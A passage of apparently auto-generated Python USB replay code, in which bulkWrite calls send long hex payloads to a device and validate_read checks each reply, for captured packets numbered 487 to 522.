bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6E\\x0E\\x30\\x4C\\x22\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFC\\x59\\x58\\x3C\\x79\\x43\\xDB\\x04\"\n b\"\\x5C\\xFF\\x28\\x9C\\x7B\\xF9\\xF1\\xFC\\xD0\\x43\\xDE\\x39\\x54\\x17\\x56\\xD5\"\n b\"\\x1D\\x3D\\x7E\\xBC\\x52\\x54\\x01\\xD6\\x93\\xA6\\xF4\\x7D\\xE2\\xED\\x29\\x8A\"\n b\"\\x79\\xED\\x18\\x27\\x07\\x66\\xF0\\xDD\\xE5\\xC6\\xD7\\x19\\xB0\\x77\\x34\\x07\"\n b\"\\x13\\xBC\\x8B\\x2C\\xBE\\x89\\xFA\\xFE\\x22\\x4B\\xF0\\xDC\\xF6\\x5D\\xA0\\x15\"\n b\"\\xD5\\xFF\\x10\\x2C\\x6C\\x86\\xCE\\xE3\\x8E\\xD1\\x01\\x53\\xA4\\xA9\\x77\\x63\"\n b\"\\xF5\\xE0\\x4A\\xBF\\x20\\xC8\\xE1\\x46\\x7F\\x6D\\xCE\\x27\\x8D\\xDF\\x3A\\x8B\"\n b\"\\x0E\\xA1\\x93\\xEF\\x33\\x87\\x08\\x0C\\xF6\\xAC\\xF3\\xC0\\x27\\x3F\\x67\\x37\"\n b\"\\x85\\xAB\\x6E\\x47\\x3A\\x01\\xC0\\x49\\x58\\x0A\\x22\\xA9\\x97\\x00\\xFC\\x0C\"\n b\"\\xBB\\xFF\\x41\\x76\\x45\\xB1\\x60\\xA0\\x5C\\x08\\x45\\x9B\\x53\\xF2\\x9B\\x0B\"\n b\"\\xAA\\xCE\\x7B\\xFD\\x8A\\x66\\xC0\\x00\\x8F\\xB7\\x4D\\xEE\\xFB\\xF9\\x23\\x24\"\n b\"\\x6A\\xE5\\x32\\x76\\x87\\x50\\x72\\x9E\\xA9\\x05\\x36\\x5B\\x87\\xA7\\xAD\\xCA\"\n b\"\\xCB\\x99\\xDF\\xF8\\x3F\\xAB\\xEB\\xC9\\x81\\x97\\x15\\x53\\xCA\\xA3\\x2F\\x67\"\n b\"\\xCD\\x6F\\x8D\\xD3\\x56\\x93\\x2F\\x76\\x2B\\xC0\\xE7\\xCE\\xE4\\xED\\x85\\x23\"\n b\"\\x79\\x82\\x4F\\x04\\xC9\\xCC\\xC3\\x77\\x14\\xEC\\x08\\xEC\\x2B\\x2D\\x68\\x85\"\n b\"\\x87\\x63\\xE5\\xF5\\xE2\\xC4\\xBC\\x68\\xE4\\x6B\\xAA\\xB3\\xBA\\x49\\x15\\x08\"\n b\"\\x96\\x4B\\x64\\x9F\\xBA\\x1D\\x22\\x81\\x8B\\xC0\\xD2\\x21\")\n # Generated from packet 487/488\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 487/488\")\n # Generated from packet 489/490\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x70\\x57\\xC4\\xA6\\xF6\\x3E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBC\\x4C\\xAA\\xA4\\xA5\\xA0\\xFF\\x13\"\n b\"\\xCA\\x77\\x04\\x17\\x65\\xB2\\xA8\\xF2\\x13\\xD3\\xEF\\xD5\\x91\\xC9\\x02\\x29\"\n b\"\\x1C\\x83\\x54\\xB3\\xCE\\x37\\x43\\x86\\x76\\xC1\\xBA\\xED\\x9E\\x38\\xC7\\x2B\"\n b\"\\x50\\x5F\\x98\\x40\\x84\\x0B\\x46\\xB0\\x55\\x39\\x26\\x95\\xCB\\xAA\\x5F\\x0C\"\n b\"\\x7F\\x24\\xE6\\xA0\\x5B\\xDD\\xF2\\x91\\x66\\x9A\\xFC\\xDE\\x7B\\xF8\\x5C\\x20\"\n b\"\\x9E\\x47\\x5E\\x15\\x60\\x71\\x02\\x15\\xEF\\x77\\xDF\\x48\\xF2\\x6C\\x66\\x6B\"\n b\"\\x75\\x14\\x61\\xA2\\x7F\\x0A\\x14\\xF6\\xC3\\xF3\\xD7\\x72\\x2A\\x1B\\x6D\\x62\"\n b\"\\x9A\\x52\\xE2\\x00\\xFE\\xA4\\xE0\\xD7\\xB1\\x88\\x1F\\xCA\\x59\\xAC\\x42\\xD7\"\n b\"\\x6C\\xD6\\xEF\\x3F\\x55\\xEB\\xFA\\xA0\\xA7\\xA9\\xF9\\x5B\\x57\\x28\\xE2\\xC5\"\n b\"\\x0B\\x46\\x14\\x33\\x6E\\x62\\x28\\x10\\xAB\\x1A\\xC9\\xCB\\x40\\x06\\x9B\\xBD\"\n b\"\\xFC\\xB6\\xC0\\xEA\\xB8\\x03\\xCC\\xAB\\x72\\x2B\\x91\\xC5\\x13\\xD0\\x56\\xDB\"\n b\"\\x24\\x2F\\x48\\x31\\xFC\\xBA\\x75\\x09\\xC6\\xFA\\x6F\\xEC\\x98\\x65\\x04\\x8E\"\n b\"\\xBB\\xD8\\xC1\\x20\\xB0\\x90\\x72\\xAB\\x83\\x3A\\xD8\\x4A\\x45\\xE4\\xC1\\xC2\"\n b\"\\x53\\x7B\\xDD\\xD0\\x3A\\x18\\x59\\xA1\\xCB\\xE7\\x38\\x59\\xED\\xE9\\xEA\\x7E\"\n b\"\\x75\\x14\\x27\\x35\\xEF\\x94\\x8E\\x36\\x2A\\xE5\\xE0\\xCE\\xC6\\x60\\xCA\\x2C\"\n b\"\\xE7\\x3A\\x96\\x00\\xCF\\x8D\\xC3\\xD6\\xAC\\x5F\\xFD\\x91\\xE0\\x3D\\x5E\\x87\"\n b\"\\xCD\\x8A\\xD7\\xBB\\xA6\\xEE\\x7A\\xD3\\xAA\\x9C\\x73\\x1A\")\n # Generated from packet 491/492\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 491/492\")\n # Generated from packet 493/494\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x56\\x21\\x07\\xA9\\x22\\x08\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x31\\x2B\\xEE\\x84\\x79\\x66\\x43\\xF4\"\n b\"\\x3D\\x2D\\xFA\\x7F\\x13\\xA4\\x69\\x50\\x7E\\x3E\\xA4\\x58\\x42\\x02\\xDB\\x2C\"\n b\"\\x87\\xBA\\xB4\\xED\\x23\\x6C\\xF6\\xA0\\xEF\\xF7\\xA6\\x64\\xBF\\x24\\xA3\\x0E\"\n b\"\\x4B\\xA3\\x78\\x5F\\x88\\xC6\\xF2\\x83\\xAB\\x0E\\x9A\\x11\\x94\\xF7\\x6E\\xAC\"\n b\"\\x30\\x68\\xC2\\xE3\\xEB\\x55\\xBE\\x84\\x3B\\x1F\\x7E\\x62\\x6D\\x57\\xE5\\xBA\"\n b\"\\x38\\x13\\x14\\xA6\\x78\\x67\\x06\\x35\\x10\\xE8\\x7C\\x8E\\x46\\x3D\\x98\\x35\"\n b\"\\xDB\\x5A\\x01\\x04\\x12\\xE0\\xA3\\x25\\x49\\x3D\\x26\\xE4\\xE9\\x95\\x7F\\xEB\"\n b\"\\xD9\\xE6\\xE9\\xC0\\x73\\xFE\\x10\\x4C\\x7C\\xD7\\xF4\\x3C\\x6A\\xE3\\x1C\\x16\"\n b\"\\x19\\xF9\\xF0\\xDD\\x20\\xDE\\xCA\\x27\\xAA\\x76\\x12\\x7D\\x77\\xA7\\x33\\xBE\"\n b\"\\x17\\x7F\\xB9\\xCC\\x7F\\x7E\\xE4\\xF1\\x3D\\x8A\\xFD\\xAB\\xCD\\x84\\x6C\\x6E\"\n b\"\\x6C\\x0D\\xC2\\x40\\xCA\\xF0\\x68\\x4D\\x7F\\x34\\xAF\\xD5\\xEB\\xBD\\x50\\x78\"\n b\"\\x44\\x03\\x70\\x46\\xB1\\x64\\xBE\\x3F\\x86\\xB6\\x7A\\xAC\\x0E\\x5A\\x52\\xFD\"\n b\"\\x33\\x72\\x2A\\x1C\\xB6\\x1B\\xCE\\xC3\\x11\\x47\\xE7\\x91\\x75\\x7B\\xC6\\x8F\"\n b\"\\xCE\\x08\\xFD\\x4B\\x86\\x13\\x04\\xEF\\x65\\x83\\xCE\\x70\\x13\\x5C\\x14\\x04\"\n b\"\\x91\\x78\\x23\\xFB\\x9E\\x95\\xD1\\xA1\\xFB\\x7D\\x8B\\x07\\xB0\\x0D\\x23\\x05\"\n b\"\\xAA\\xB7\\x28\\x40\\xBA\\x34\\x1A\\xDD\\xB6\\x6C\\xA4\\x09\\x74\\xEF\\x42\\xA8\"\n b\"\\x01\\xD9\\xDC\\x45\\x4B\\x53\\xDC\\x96\\xDA\\x12\\xE3\\xF8\")\n # Generated from packet 495/496\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 495/496\")\n # Generated from packet 497/498\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD4\\x72\\xB4\\xD3\\x91\\x59\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x68\\x07\\x92\\x93\\xAA\\x6E\\x37\"\n b\"\\x3C\\x80\\x11\\x10\\xF0\\x39\\x04\\xEF\\x17\\xE9\\xCE\\x70\\x65\\x56\\x14\\x04\"\n b\"\\xF7\\xB2\\xA3\\xFA\\xE8\\xBF\\xD1\\xA1\\x85\\xD7\\x8B\\x07\\xC6\\x07\\x23\\x05\"\n b\"\\xCC\\x9D\\x2C\\x41\\xCC\\x1E\\x1A\\xDD\\xD0\\x47\\xA4\\x09\\x02\\xE5\\x42\\xA8\"\n b\"\\x67\\xF3\\x58\\x44\\x3D\\x79\\xDC\\x96\\xAC\\x1A\\xE3\\xF8\\xF8\\xD1\\x52\\x3C\"\n b\"\\x93\\x42\\xBE\\x8F\\x43\\x40\\x07\\x37\\x9C\\xC4\\x2F\\x37\\xC3\\x0E\\x00\\x09\"\n b\"\\x98\\x3A\\x75\\x85\\x5B\\xDA\\xE5\\xA4\\xAA\\xC5\\x18\\xD7\\xB3\\x08\\x1F\\x76\"\n b\"\\xA2\\xD1\\x00\\xD2\\xC0\\x9C\\x97\\x30\\x0E\\x31\\xA8\\xD9\\xF4\\x95\\x6C\\xFE\"\n b\"\\x50\\x6F\\x2D\\xB5\\xA7\\x9B\\x6C\\x42\\xF8\\x22\\x9B\\x08\\x6D\\x00\\x67\\x43\"\n b\"\\x41\\x78\\x31\\x38\\x3D\\x7D\\x3A\\xC3\\x99\\x2E\\x76\\x5B\\x3B\\xBB\\x19\\x78\"\n b\"\\xE0\\xD6\\xFF\\x7E\\xCD\\x3D\\x11\\x8D\\xC9\\xF5\\x0E\\x0B\\x31\\x50\\xFD\\x40\"\n b\"\\xFA\\x68\\xA1\\x3D\\xE4\\x0C\\x5C\\x15\\xF9\\xBE\\x7B\\x2F\\x95\\x9E\\x7D\\xBE\"\n b\"\\xBA\\xFF\\xC8\\x4E\\xDD\\xE5\\xD3\\x4E\\x45\\x28\\x65\\xAA\\xFF\\xF5\\xD0\\xD1\"\n b\"\\x82\\x38\\x17\\xD3\\xC8\\xA1\\x61\\xBC\\xA6\\xC8\\x98\\xA7\\x5D\\x8E\\x8E\\x88\"\n b\"\\x40\\x0B\\xB9\\xEA\\x09\\xBF\\xD0\\xF6\\xC8\\x3E\\xD7\\x83\\x06\\x7E\\x82\\x9A\"\n b\"\\x92\\x4F\\x7E\\xF1\\xEF\\x57\\xCB\\x13\\x5D\\x06\\x98\\x47\\x2D\\xBB\\x28\\x30\"\n b\"\\x13\\x0E\\x77\\x33\\x86\\xC6\\x88\\xF4\\x94\\x08\\x96\\x36\")\n # Generated from packet 499/500\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 499/500\")\n # Generated from packet 501/502\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF1\\xC6\\x5D\\x2E\\x9D\\x40\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1B\\x26\\x8B\\xB3\\xE5\\xEA\\x36\\xF1\"\n b\"\\xFF\\x8A\\xCE\\x2C\\x35\\xB6\\x72\\x5E\\xE9\\x91\\x60\\xC7\\x17\\xF7\\x7C\\xAD\"\n b\"\\x5A\\xC0\\xDF\\x4F\\xB2\\x25\\x7F\\xB0\\xCE\\xE8\\x98\\xD4\\x90\\x3F\\xE0\\x90\"\n b\"\\x30\\xF8\\x10\\xB1\\x8C\\xD8\\x5C\\x43\\xBD\\x12\\xEA\\x61\\x0E\\xA6\\x3C\\x44\"\n b\"\\xD6\\x76\\x18\\xDF\\x00\\xE2\\x90\\xDA\\xA5\\xD2\\xCE\\x9A\\x3C\\xAB\\x06\\x75\"\n b\"\\x8F\\x2D\\xD6\\xA0\\x0A\\x29\\x94\\x2B\\x42\\x20\\xFF\\xA5\\x75\\xF9\\x16\\x08\"\n b\"\\x9F\\x2A\\x33\\xCD\\xB7\\x04\\xA7\\x28\\x8D\\x0F\\x93\\xE9\\x25\\x6F\\x33\\xF7\"\n b\"\\x92\\xFD\\x7F\\x36\\xB5\\x23\\x62\\x98\\x25\\x91\\x04\\xEF\\x81\\x38\\x68\\xA0\"\n b\"\\x99\\xD0\\x33\\xEB\\xA0\\x22\\x73\\x78\\x63\\x28\\x1C\\x60\\xB6\\x26\\x1B\\x43\"\n b\"\\x95\\x5A\\x50\\x46\\x75\\xBE\\x24\\x4C\\xF9\\x97\\xD7\\x47\\x6C\\x09\\xD5\\x3F\"\n b\"\\x89\\xC3\\x41\\xE4\\x43\\x70\\xDB\\xBC\\xD7\\xA7\\xF4\\x9F\\x9F\\x9A\\x61\\x91\"\n b\"\\xFE\\x45\\x94\\xD5\\xC9\\x2D\\xF1\\xBD\\xE0\\xC1\\x44\\x5D\\x93\\x66\\x17\\xF9\"\n b\"\\x5F\\x2E\\x00\\xB2\\xF7\\xBE\\xE6\\x3B\\x3D\\x85\\xF4\\x25\\x50\\xAA\\x38\\x2E\"\n b\"\\x75\\x06\\x3F\\xFC\\x27\\x23\\xFF\\x01\\x1F\\xED\\x04\\xDB\\x53\\xC1\\x55\\xB4\"\n b\"\\xB9\\xFF\\x2C\\xFB\\xD6\\x3B\\x5D\\x92\\x45\\x52\\x2E\\xA7\\xC4\\xA7\\x20\\xC7\"\n b\"\\x20\\x96\\x07\\x88\\xD8\\x6C\\x42\\xF5\\x76\\xFE\\x83\\x2A\\x19\\x82\\x75\\xC1\"\n b\"\\x3B\\x60\\xFA\\xA5\\xF8\\x99\\x9F\\x8B\\x49\\xFB\\xAE\\x7A\")\n # Generated from packet 503/504\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 503/504\")\n # Generated from packet 505/506\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x21\\x35\\x9D\\xD8\\xE1\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x49\\x49\\x41\\x97\\xFD\\x6B\\x1D\"\n b\"\\xEB\\xDD\\x51\\x2F\\x26\\xB6\\xEF\\x50\\x87\\x67\\x5F\\x46\\x30\\x0E\\x4F\\xBF\"\n b\"\\xBD\\xB7\\x06\\xDB\\x55\\x15\\xFE\\x47\\x20\\xEB\\x38\\x6C\\xDF\\x19\\xF5\\x17\"\n b\"\\x51\\x82\\x52\\x4A\\x9B\\xF0\\x5A\\xB1\\x0A\\xF3\\x18\\xAD\\x49\\xF4\\x14\\xB6\"\n b\"\\x55\\x49\\x44\\x03\\xD1\\x49\\xA2\\x10\\x77\\x78\\x87\\xE3\\x4E\\x9D\\x79\\x0E\"\n b\"\\x2A\\x13\\x24\\x84\\x78\\x0B\\xB3\\x8C\\x2F\\x1D\\xAC\\x41\\xED\\xDC\\xA3\\x88\"\n b\"\\x27\\x3A\\x67\\xB8\\xFE\\x85\\x51\\x6E\\x8D\\x35\\x2B\\xD8\\x0F\\xB5\\xAE\\xD1\"\n b\"\\x26\\x22\\xD0\\x20\\x32\\x61\\x94\\xA7\\xEB\\x83\\xD2\\xA2\\xBA\\x58\\x3B\\xAC\"\n b\"\\x87\\x8B\\xC0\\x48\\xCB\\xE7\\xE6\\x5B\\x75\\x43\\xDE\\xFB\\xC9\\xA0\\xF5\\xBD\"\n b\"\\x40\\x52\\x2D\\x51\\x7A\\xCF\\x8C\\x3E\\xC2\\x3D\\x44\\x4B\\xE8\\xD7\\x65\\x3B\"\n b\"\\xE5\\xFF\\x10\\xF1\\x65\\x45\\x02\\x46\\x75\\xF2\\x7F\\x5F\\xB1\\x16\\x57\\xFF\"\n b\"\\xF0\\x07\\x51\\xC4\\xC2\\x0E\\xAE\\x48\\x3C\\xFF\\x24\\x40\\xC5\\xE9\\xF0\\x0B\"\n b\"\\xCF\\xC3\\xA0\\x44\\x4A\\x31\\xF8\\xF0\\x4F\\x37\\x2C\\xDB\\x32\\x57\\x3B\\x52\"\n b\"\\x99\\x29\\xAE\\xA2\\x4F\\x1E\\x83\\x2F\\x14\\x90\\x23\\xE6\\x56\\x10\\x85\\xD5\"\n b\"\\x28\\xBD\\xFA\\x05\\xED\\xFA\\x43\\x02\\xE7\\x76\\xA0\\x3C\\x4B\\x1D\\x95\\xC6\"\n b\"\\x57\\xB8\\x5A\\xAA\\x64\\xB8\\x3D\\x2D\\x6F\\xBF\\x2E\\x8A\\xA6\\x17\\x22\\xFB\"\n b\"\\x99\\xB6\\xCD\\xC1\\x46\\xF6\\xBD\\xD1\\x18\\x0B\\x00\\x82\")\n # Generated from packet 507/508\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 507/508\")\n # Generated from packet 509/510\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x20\\xAC\\x0D\\x59\\x8B\\x79\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x83\\xA9\\x27\\xFF\\x46\\xE4\\x34\\xB7\"\n b\"\\x32\\x2F\\x96\\xC5\\xF4\\xB5\\x91\\xE2\\x11\\x58\\x9D\\x95\\x4A\\x63\\x6F\\x3A\"\n b\"\\x86\\xA4\\x41\\x7B\\xFA\\xA6\\x40\\x3D\\xA6\\xB0\\x05\\xA4\\x36\\xCE\\x31\\x67\"\n b\"\\xDA\\x3A\\xB0\\xC3\\x49\\x4A\\x39\\x30\\xEE\\x0F\\x5F\\x9E\\x2E\\x7A\\x99\\x87\"\n b\"\\x98\\x85\\x87\\x0B\\x6B\\xBB\\x95\\x28\\xC5\\xE1\\x6F\\xD5\\x3E\\x21\\x00\\x03\"\n b\"\\xB6\\x6B\\x54\\xAF\\xDA\\xEB\\x87\\x2A\\xA4\\x7E\\x09\\x18\\x5F\\xF0\\x12\\x09\"\n b\"\\xF7\\xC4\\x10\\xCA\\x12\\xA5\\x4D\\xEA\\xDA\\x7D\\x92\\x93\\xE7\\xAE\\x22\\x10\"\n b\"\\x4B\\xF3\\x7F\\x6A\\x69\\x8F\\x3E\\x2D\\xA9\\x02\\x45\\x58\\xC8\\x2F\\xE5\\x7F\"\n b\"\\xBC\\x5C\\x0E\\x9D\\xE9\\x3B\\x1F\\xDF\\x08\\x1B\\x1B\\x57\\xCE\\x09\\xCE\\x4B\"\n b\"\\x87\\x5E\\xF9\\xFB\\x81\\x58\\xD6\\x5A\\xAC\\x83\\x67\\x10\\x3D\\x61\\x2D\\x5E\"\n b\"\\xC9\\x57\\x8D\\x02\\x5F\\xA4\\x87\\x67\\x2E\\x64\\xBF\\xEA\\xD6\\xEE\\x66\\xFD\"\n b\"\\x5E\\x94\\x82\\x82\\xA7\\x81\\x8E\\xC8\\x63\\xF9\\x66\\xC9\\x89\\x7C\\xBA\\x6F\"\n b\"\\x94\\xDA\\x54\\xA5\\x05\\x32\\x33\\x86\\x54\\x56\\x2A\\x2A\\xC8\\xBA\\x79\\x1D\"\n b\"\\xAB\\xAD\\xB1\\x76\\x88\\xAE\\x4D\\x02\\x80\\xF1\\x20\\x5B\\x74\\x7F\\x3D\\xDF\"\n b\"\\x47\\x0F\\x6E\\x23\\x9D\\xD8\\xE3\\x49\\xF9\\x37\\xF6\\xFA\\x9F\\xA4\\x03\\x7E\"\n b\"\\xD6\\x90\\xAC\\xBE\\x9C\\xDE\\xCE\\x0B\\x8C\\xBE\\x04\\xF3\\xD3\\x56\\xC0\\x12\"\n b\"\\x22\\xB5\\x5C\\xED\\xE3\\x05\\x29\\x1F\\x9C\\x39\\xB8\\x84\")\n # Generated from packet 511/512\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 511/512\")\n # Generated from packet 513/514\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x76\\x1C\\xBC\\x7C\\x1F\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB5\\x2D\\x98\\x63\\xAF\\x68\\x35\\x3F\"\n b\"\\xBC\\x6B\\x7A\\x0A\\xAC\\xC8\\x53\\x93\\x22\\x34\\xCF\\x07\\x2E\\xA5\\x80\\xB0\"\n b\"\\xAB\\x5E\\x03\\xFC\\xEC\\xDF\\xC9\\xE1\\x50\\x65\\xA2\\x80\\x8D\\x2E\\x18\\x1A\"\n b\"\\x6D\\x16\\x77\\x9C\\xF9\\x2D\\x34\\x96\\x33\\x7A\\x62\\x03\\x3D\\x85\\xA5\\x57\"\n b\"\\xEF\\x8D\\x26\\xF3\\x6E\\xC5\\x34\\x71\\x5D\\x95\\xE0\\x8C\\xE6\\xB3\\x02\\xC0\"\n b\"\\x1E\\x82\\x87\\xB2\\xE5\\x0C\\x77\\x4E\\x77\\x34\\x44\\x28\\x87\\x5C\\xCB\\x5E\"\n b\"\\xAA\\x5A\\x89\\xB7\\x01\\x06\\x80\\x2A\\xEB\\x34\\x60\\xD0\\xB3\\xF1\\x48\\x3D\"\n b\"\\xCD\\xA7\\x54\\xD4\\x05\\xA3\\xE2\\x99\\x52\\xFC\\xDD\\xE1\\x76\\xDD\\x8E\\x7F\"\n b\"\\x8D\\x66\\x31\\x60\\x78\\x21\\x6C\\xFE\\xE5\\xCC\\x30\\x4A\\x05\\x35\\x68\\xEF\"\n b\"\\x2C\\xF2\\x89\\xA9\\xE0\\x32\\xC3\\xA9\\x07\\x03\\xE2\\x1D\\x5A\\xF1\\xBA\\xE5\"\n b\"\\x67\\x81\\x5D\\x8B\\x88\\x1E\\xC7\\x2D\\x65\\x92\\x8A\\x55\\xA2\\x1D\\x29\\xCD\"\n b\"\\x48\\x56\\x09\\x72\\x07\\xF2\\xD1\\x3A\\x54\\x7E\\xEB\\xA1\\x5F\\xFC\\xBE\\x1E\"\n b\"\\x03\\xCD\\x4B\\x07\\x76\\xAB\\x5D\\x1C\\x1A\\xE3\\x49\\xC7\\x9E\\x16\\x1B\\x92\"\n b\"\\x52\\xF0\\xAD\\x1F\\x03\\xEF\\xA8\\x64\\x0C\\x8B\\x38\\x25\\x25\\x8F\\x73\\xA4\"\n b\"\\x71\\x55\\x76\\x83\\x2C\\xB0\\x2D\\x71\\xF5\\x94\\xC2\\xB1\\x7B\\x3A\\x3C\\x8C\"\n b\"\\xD1\\x49\\x29\\x5D\\xDA\\xD3\\xA6\\x2B\\x77\\x77\\x5A\\xF6\\xBF\\x16\\x61\\x26\"\n b\"\\x71\\x24\\x76\\xB2\\x3A\\xF8\\xD9\\xA2\\x8D\\x52\\xD8\\x6F\")\n # Generated from packet 515/516\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 515/516\")\n # Generated from packet 517/518\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x87\\xB5\\xB7\\xB2\\xDA\\x73\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB7\\x51\\xAD\\xE2\\x0C\\xA1\\x00\\x28\"\n b\"\\x66\\x7C\\x05\\xE5\\x1F\\xF8\\x28\\x76\\x2E\\xDE\\x78\\x79\\xAB\\xCA\\x11\\xC2\"\n b\"\\xD1\\xE9\\x0F\\x77\\x75\\x4F\\xEE\\x30\\x20\\x4C\\xFD\\xAC\\x44\\xF4\\x20\\x68\"\n b\"\\xEF\\x4B\\x18\\x50\\x2A\\xFE\\x3B\\xAE\\x15\\x0D\\x43\\xE7\\x03\\x18\\x25\\x18\"\n b\"\\xEF\\xB4\\x19\\x4E\\x54\\xC1\\xCC\\x1F\\x31\\xA5\\x03\\x0A\\x8F\\xB0\\x87\\x99\"\n b\"\\x61\\x4E\\xA8\\xDE\\x24\\x63\\x2B\\xD4\\xD5\\x39\\x26\\xD0\\x25\\xAD\\xFD\\x6A\"\n b\"\\xFA\\x59\\xDA\\x76\\x77\\xA8\\x1B\\xBD\\xD9\\xB1\\xC3\\x76\\x63\\x87\\x42\\xF2\"\n b\"\\xF0\\xF5\\xDD\\x5E\\x49\\xFE\\x67\\xB8\\x28\\xF0\\xA6\\x30\\x8A\\x0B\\x7E\\x36\"\n b\"\\xD2\\x04\\x95\\x7C\\x47\\x35\\xAD\\x7B\\xB1\\x8A\\x95\\x06\\x3D\\x2D\\xEA\\xFB\"\n b\"\\x94\\xB3\\xF5\\xCF\\x2C\\x7B\\xAA\\x7A\\xE9\\x91\\xAF\\x1A\\x59\\x7B\\xAF\\x6E\"\n b\"\\x25\\x5C\\xE6\\xCE\\x64\\x49\\xF8\\xE9\\xEF\\x87\\x5D\\x1E\\xA0\\x4E\\x4B\\x9D\"\n b\"\\x1A\\xEE\\x19\\x5D\\x5B\\xCB\\x7F\\xAE\\x95\\x1F\\x20\\x9C\\xB4\\xD8\\xA4\\x0F\"\n b\"\\xA1\\xB6\\xCE\\x1B\\x0C\\x69\\x81\\xEB\\xB6\\xEC\\x2C\\x72\\x36\\x96\\x94\\x04\"\n b\"\\x8B\\x92\\x64\\x68\\x34\\xB3\\x3C\\x1A\\x50\\x52\\xEF\\x36\\x4D\\x1D\\xAE\\xEB\"\n b\"\\x8B\\x6B\\x4B\\x74\\x22\\x50\\x6D\\x8B\\x0D\\xCC\\xF3\\x0B\\xEB\\x1E\\xAF\\x5F\"\n b\"\\xDE\\xD4\\x32\\xCD\\x02\\x4C\\x06\\x4F\\xC0\\xF5\\x92\\x84\\x88\\x3C\\xE3\\xAB\"\n b\"\\x6F\\xF2\\xA0\\xA5\\xF5\\x0E\\x26\\xA0\\x3C\\x87\\x2B\\x77\")\n # Generated from packet 519/520\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 519/520\")\n # Generated from packet 521/522\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD7\\x66\\x84\\xFB\\xB0\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x7F\\xC2\\x1C\\xA3\\x9B\\xE4\\x71\"\n b\"\\x84\\x6C\\x2F\\xD6\\x5E\\x28\\x02\\x7B\\x2E\\xC2\\xBF\\x3A\\x77\\x80\\x18\\x4A\"\n b\"\\x8B\\x32\\x3E\\x65\\x9A\\x8D\\xD3\\x67\\xB2\\xCB\\x05\\x07\\x18\\xD6\\x3F\\x23\"\n b\"\\x2F\\xBC\\x2B\\xE1\\xC4\\xDD\\xCE\\xB0\\xB7\\xA3\\x4F\\x8F\\x46\\x37\\x26\\x7B\"\n b\"\\x6D\\x1E\\x40\\x0A\\xBA\\x76\\x3F\\x95\\x22\\x1B\\x8F\\x00\\x0A\\x06\\x1A\\x55\"\n b\"\\x85\\xC4\\x06\\xDA\\x4C\\xBA\\x12\\x04\\x21\\x81\\x66\\x83\\x2E\\x21\\xB0\\x66\"\n b\"\\xEA\\x3F\\x10\\xA1\\xC5\\x51\\x57\\xBD\\x9C\\x49\\x20\\xF2\\x77\\xAA\\xBB\\xC2\"\n b\"\\xCC\\xED\\xA7\\xB0\\xEE\\x8E\\xDC\\x53\\xCE\\x61\\x20\\x97\\x40\\xE5\\xC8\\x15\"\n b\"\\xAA\\xE9\\xC1\\x96\\xFA\\x60\\x77\\x40\\xAE\\x9A\\xE6\\x6D\\x22\\x7A\\x9D\\x22\"\n b\"\\xCC\\x5E\\x4E\\x4A\\x72\\x21\\x40\\x74\\xD2\\xBD\\x79\\xD6\\x5C\\x9F\\x6B\\x22\"\n b\"\\xF0\\x88\\xF9\\x18\\x33\\xEA\\x53\\x92\\x21\\x02\\x82\\xCD\\x91\\x3E\\x8A\\x3C\"\n b\"\\x64\\xC3\\x58\\x94\\x4C\\x59\\xEB\\x2F\\xE5\\xAD\\xE0\\x81\\xAB\\xE9\\x47\\x7A\"\n b\"\\x06\\x27\\x28\\x12\\x35\\xD2\\xCA\\x5B\\x17\\x46\\x0D\\xF8\\xE7\\x48\\xE3\\xEA\"\n 